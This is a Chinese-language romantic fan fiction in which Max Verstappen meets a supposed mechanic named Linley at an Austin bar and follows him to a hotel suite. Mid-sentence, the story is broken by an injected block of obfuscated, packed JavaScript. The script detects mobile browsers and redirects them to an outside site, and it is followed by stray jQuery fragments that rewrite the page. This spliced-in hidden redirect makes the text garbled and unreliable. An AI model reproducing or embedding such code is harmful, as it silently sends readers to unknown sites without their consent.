2018年。
奥斯汀的十月，夜风干燥。
第六街的爵士酒吧里，空气却被体温和酒精烧得滚烫。
低音炮的震动从地板传上来，一下下捶打着麦克斯·维斯塔潘的太阳穴。他躲在角落，指尖捏着一块即将融化的碎冰。冰水顺着虎口蜿蜒而下，激得他眼皮跳了一下。
隔壁的庆祝派对还在继续，闪光灯和香槟几乎要把他淹没。
烦。
他只想躲在这里，哪怕只有十分钟。
旁边有个男人一直在写写画。炭笔磨着餐巾纸，沙沙，沙沙。
麦克斯不耐烦地瞥过去。
那是一只手，指缝里卡着洗不掉的深灰色机油。这只手正抓着半截炭笔，在薄薄的餐巾纸上反复勾画一个尖锐的折角。
那是COTA赛道，12号弯。
他下午才用轮胎碾过的地方。
“刹车点画晚了。”麦克斯没忍住，盯着那团线条开口，“在这个距离踩刹车，车会直接冲出赛道。”
炭笔顿住，笔尖在那层薄薄的餐巾纸上戳出个洞。
“你在第23圈用这一招超过博塔斯的时候，可不是这么想的。”男人转过脸，把那张破了洞的纸推过来，
“比赛我看了，很精彩。”
这是一张太干净的脸。
鼻梁高挺，眼窝深邃，灰蓝色的瞳仁里像是落了一小片阴天的海。眼角被酒精熏得泛红，微厚的下唇抿着，带着股莫名其妙的倔劲。
这张脸，让麦克斯心里那股无名火莫名地降了半度。
“麦克斯·维斯塔潘。”他报上名字。
“林利（Linley）”。男人把炭笔丢进空酒杯，发出一声脆响。
“你在12号弯切内线切得太深了。”林利说，“万一博塔斯没看到你，或者他不想让你呢？”
“那是他的损失。”麦克斯身体前倾，侵入对方的领域。
“也是你的风险。”林利说着，伸手拿过麦克斯面前那杯喝了一半的金汤力，仰头灌了下去，喉结上下滚动。
“那就是我的事了，”麦克斯的好奇心被勾了起来，“画赛道图，懂走线……你是专业的？”
林利指腹随意地蹭过杯口的水雾：“只能算是修理厂打杂的。”
“修理厂？”麦克斯挑眉。
“修修配件，换换轮胎。”林利垂下眼皮，长而卷的睫毛落下一片阴影，“如果是你那种千万美元的玩具坏了，可别来找我，我只会修破烂。”
麦克斯笑了。
这人身上闻不到半点机油味，言谈举止也和修理工毫无关系。但他懒得拆穿。
“那你手艺应该不错。”麦克斯指了指那张餐巾纸，“毕竟你连我的‘贪心’都看出来了。”
“那和手艺无关。”
林利忽然侧身，猛地凑近。一股苦橙混合着冷金属的气息瞬间包裹了麦克斯。
“看看你的刹车灯就知道了。”
他在震耳欲聋的音乐里，贴着麦克斯的耳廓，湿热的呼吸阵阵拂过：“你踩刹车，根本不是为了减速。”
“你是为了逼他让路……维斯塔潘，你压根就没想过给自己留退路，对不对？”
麦克斯呼吸一滞，有些意外地挑了挑眉，心底某个角落像是被这句话烫了一下：“观察得这么仔细，你还有什么高见？”
“谈不上。”
林利的手毫无预兆地伸过来，贴上了他汗湿的后颈。
麦克斯后背绷了一下，指尖的凉意顺着脊椎一路向上。
“我猜，你的引擎快要过热了。”林利的指腹在他的颈动脉上，不轻不重地划了一圈。“看看你，整个人都在发烫。再这么烧下去，你会成为一个大麻烦。”
他收回手，拿起椅背上的花衬衫，站了起来。
“走吗？”林利回头。
门外，奥斯汀的深夜被霓虹切割得光怪陆离。
“去哪？”麦克斯问，身体却已经先一步站了起来。
林利的下巴朝麦克斯湿透的T恤点了点：“去找个能让你冷却下来的地方。”
麦克斯推开酒杯，直接跟了上去。
他确实需要降降温。
也确实对这个奇怪的“修理工”有点兴趣。至于去哪里，他有一整晚的时间来满足好奇心。
夜风刮在发烫的皮肤上，激起一层战栗。
林利的脚步很快，花色衣角在麦克斯面前一晃一晃。
麦克斯几步并上前，一把扣住对方细瘦的手腕。
“你走这么快干什么？”麦克斯逼近，温热的呼吸喷在林利耳侧。
“那要看是谁在后面追我。”林利没有挣脱，反而轻轻勾了勾麦克斯的掌心，“现在，可是维斯塔潘。”
麦克斯低声笑了，松开手。
路灯将两人的影子拖拽得很长。
林利白皙的后颈就那么露在外面，晃得人眼晕。
麦克斯觉得自己大概是真的醉了，只能费力地盯着那一小块皮肤，听着自己的心跳声在耳膜里一下下地撞。
咚。
咚。
林利在一幢深灰色大楼前停下。
电梯门合拢的瞬间，世界终于安静了。
轿厢的金属内壁映出两个模糊的人影。
麦克斯靠着厢壁，长长地呼出一口气。“我还以为你会带我去修理厂。”他看向镜子里那个脸颊醉红、领口大开的自己，被沙哑的声音吓了一跳。
“太脏了。”林利盯着跳动的楼层数字，在倒影中扫了他一眼，“而且，那里可没有能让你凉快下来的东西。”
顶层的套房门应声打开。
冷气扑面而来。房间大得有些空旷，每一件家具都摆放得像是样板间。落地窗外，科罗拉多河反射着城市的光带。
麦克斯想，这倒确实挺冷。
“啤酒在冰箱里，”林利随手将外套扔在沙发上，指了指角落，“我去拿几瓶。”
麦克斯的视线扫过沙发旁昂贵的皮质行李箱，又落向桌上摊开的、厚得像砖头一样的赛车数据手册。
最后，他的目光停在林利那双正打开冰箱门的手上。
那里还沾着零星几点机油。
最好的地段、最贵的套房，住着这样一个修理厂的“打杂工”？麦克斯皱起眉，这倒是越来越有意思了。
林利端着一桶冰块走过来，用拇指“啪”地撬开两瓶啤酒，递给他一瓶：“浴室在右边。”他顿了顿，补充道，“或者……你想先来点更热的？”
麦克斯顺着林利的视线低头看了看自己，向前跨了一步，把对方逼得倒向沙发，决心搞清楚这个骗子的把戏。
“你刚才说，要给我降温。”麦克斯居高临下，膝盖强硬地挤进林利双腿之间，将人完全困在自己身下的阴影里，“这就是你的办法？喝啤酒？”
林利仰头灌了一口，冰凉的酒液顺着嘴角淌进领口，洇开一小块深色的湿痕。
“那你想来点更有效的？”他忽然笑了，灰蓝色的眼睛微微眯起，像一只算计着什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159547|196580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的猫，“玩个游戏怎么样，YES or NO？”
“这次，你先问，维斯塔潘。”
麦克斯俯下身，一只手撑在林利耳边的沙发靠背上，将他彻底禁锢。
“第一个问题。”
“你不在修理厂工作，对吗？”
“我就知道你要问这个，是的。”林利放下酒瓶，五指张开，在麦克斯眼前晃了晃，“我确实不在那‘工作’。”
“所以，你是个追着车队满世界跑的粉丝，懂点技术，有钱有闲，是吗？”
“不是。”
林利回答得很快，带着一丝恶作剧得逞的笑意。
他微微仰起脖子，冰凉的啤酒瓶瓶身慢条斯理地滚过麦克斯的手背，激起一片细小的疙瘩。玻璃瓶底最终停在麦克斯的腕骨上，轻轻一压。
“该我了。维斯塔潘，你平时对陌生人都这么毫无防备吗？”
“不是。”麦克斯纹丝不动，任由那点凉意顺着皮肤蔓延。
他的膝盖反而弯得更深，毫不客气地抵进林利的大腿内侧。隔着一层牛仔布能清晰地感觉到布料下的轮廓：“但我对骗子，通常很有耐心。”
林利笑得肩膀轻颤，灰蓝色的眼睛弯成一道漂亮的弧度，眼底的散漫几乎要溢出来。
“那你觉得，我是做什么的？”
“赌来的？”麦克斯的眉毛动了动，视线在房间里快速扫了一圈，“还是你运气好到爆棚，把全部家当都押在我身上，大赚了一笔？”
“都不是。”林利摇了摇头，那双眼睛里的笑意更深了，“这可是我辛辛苦苦‘赚’来的。”
他特地加重了“赚”字的发音，手腕一翻，勾住了麦克斯T恤的领口，稍一用力，将人往自己的方向拽。
“你的问题太烂了，维斯塔潘。你对普通人的世界真是一点都不了解。”
两人的距离被迫拉近，麦克斯只能低头。
这个角度，他能看清林利脸上细小的绒毛，下巴上那颗颜色很淡的小痣，甚至能数清他鼻梁上那几颗颜色不一的雀斑。
一股陌生的，混杂着啤酒花和某种植物冷香的气味钻进鼻腔。
麦克斯的胃部猛地抽了一下。
是饿了。他脑子里冒出这个不合时宜的念头。
“该我了。”林利的手指顺着他微敞的领口滑了进去，指腹擦过锁骨的皮肤，带起一阵战栗。他的视线跟着自己的手指一路向下，最后却在麦克斯的嘴唇上停了一瞬，然后挑衅地抬眼回看。
“我们还要继续这个提问游戏吗？”
空气里只剩下两人交错的呼吸声。
在这不到十公分的距离里，任何语言都显得多余。麦克斯盯着林利那张一开一合的嘴，像是在无声地邀请他品尝。
“NO.”
除了这个单词，麦克斯脑子里一片空白。
他收紧撑在沙发上的手，任由重力接管了一切，上半身沉沉地压了下去。
鼻尖蹭着鼻尖。
皮肤试探着接触，发出细微的摩挲声。
一下，两下。
他们的嘴唇贴得很近，随着呼吸的起伏断断续续地擦过，干燥与湿润交替，急促的喘息将周遭的空气烧得更加稀薄。
“最后一个问题。”
麦克斯的睫毛扫过林利的眼睑，声音含糊不清，血管震动：“你知道我不会踩刹车的，对吧？”
林利溢出一声闷笑。他不再等待，主动抬起下巴，堵上了最后那点缝隙。
“YES.”